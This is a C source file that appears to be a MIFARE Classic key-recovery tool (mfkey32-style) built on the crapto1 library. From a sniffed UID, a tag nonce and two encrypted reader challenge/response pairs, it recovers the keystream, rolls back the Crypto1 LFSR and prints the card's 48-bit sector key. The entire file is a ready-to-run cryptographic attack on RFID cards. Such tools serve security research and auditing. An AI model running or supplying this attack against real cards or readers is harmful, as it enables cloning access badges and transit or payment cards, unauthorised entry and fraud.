| 1 | #define __STDC_FORMAT_MACROS |
| 2 | #include <inttypes.h> |
| 3 | #include "crapto1.h" |
| 4 | #include <stdio.h> |
| 5 | #include <stdlib.h> |
| 6 | #include <time.h> |
| 7 | |
| 8 | #define llx PRIx64 |
| 9 | #define lli PRIi64 |
| 10 | int main (int argc, char *argv[]) { |
| 11 | struct Crypto1State *s,*t; |
| 12 | uint64_t key; // recovered key |
| 13 | uint32_t uid; // serial number |
| 14 | uint32_t nt; // tag challenge |
| 15 | uint32_t nr0_enc; // first encrypted reader challenge |
| 16 | uint32_t ar0_enc; // first encrypted reader response |
| 17 | uint32_t nr1_enc; // second encrypted reader challenge |
| 18 | uint32_t ar1_enc; // second encrypted reader response |
| 19 | uint32_t ks2; // keystream used to encrypt reader response |
| 20 | |
| 21 | printf("MIFARE Classic key recovery - based 32 bits of keystream\n"); |
| 22 | printf("Recover key from two 32-bit reader authentication answers only!\n\n"); |
| 23 | |
| 24 | if (argc < 7) { |
| 25 | printf(" syntax: %s <uid> <nt> <nr_0> <ar_0> <nr_1> <ar_1>\n\n",argv[0]); |
| 26 | return 1; |
| 27 | } |
| 28 | |
| 29 | sscanf(argv[1],"%x",&uid); |
| 30 | sscanf(argv[2],"%x",&nt); |
| 31 | sscanf(argv[3],"%x",&nr0_enc); |
| 32 | sscanf(argv[4],"%x",&ar0_enc); |
| 33 | sscanf(argv[5],"%x",&nr1_enc); |
| 34 | sscanf(argv[6],"%x",&ar1_enc); |
| 35 | |
| 36 | printf("Recovering key for:\n"); |
| 37 | printf(" uid: %08x\n",uid); |
| 38 | printf(" nt: %08x\n",nt); |
| 39 | printf(" {nr_0}: %08x\n",nr0_enc); |
| 40 | printf(" {ar_0}: %08x\n",ar0_enc); |
| 41 | printf(" {nr_1}: %08x\n",nr1_enc); |
| 42 | printf(" {ar_1}: %08x\n",ar1_enc); |
| 43 | |
| 44 | // Generate lfsr succesors of the tag challenge |
| 45 | printf("\nLFSR succesors of the tag challenge:\n"); |
| 46 | uint32_t p64 = prng_successor(nt, 64); |
| 47 | printf(" nt': %08x\n", p64); |
| 48 | printf(" nt'': %08x\n", prng_successor(p64, 32)); |
| 49 | |
| 50 | clock_t t1 = clock(); |
| 51 | |
| 52 | // Extract the keystream from the messages |
| 53 | printf("\nKeystream used to generate {ar} and {at}:\n"); |
| 54 | ks2 = ar0_enc ^ p64; |
| 55 | printf(" ks2: %08x\n", ks2); |
| 56 | |
| 57 | s = lfsr_recovery32(ar0_enc ^ p64, 0); |
| 58 | |
| 59 | for(t = s; t->odd | t->even; ++t) { |
| 60 | lfsr_rollback_word(t, 0, 0); |
| 61 | lfsr_rollback_word(t, nr0_enc, 1); |
| 62 | lfsr_rollback_word(t, uid ^ nt, 0); |
| 63 | crypto1_get_lfsr(t, &key); |
| 64 | crypto1_word(t, uid ^ nt, 0); |
| 65 | crypto1_word(t, nr1_enc, 1); |
| 66 | if (ar1_enc == (crypto1_word(t, 0, 0) ^ p64)) { |
| 67 | printf("\nFound Key: [%012"llx"]\n\n",key); |
| 68 | break;} |
| 69 | } |
| 70 | free(s); |
| 71 | t1 = clock() - t1; |
| 72 | if ( t1 > 0 ) printf("Time : %.0f ticks \n", (float)t1); |
| 73 | return 0; |
| 74 | } |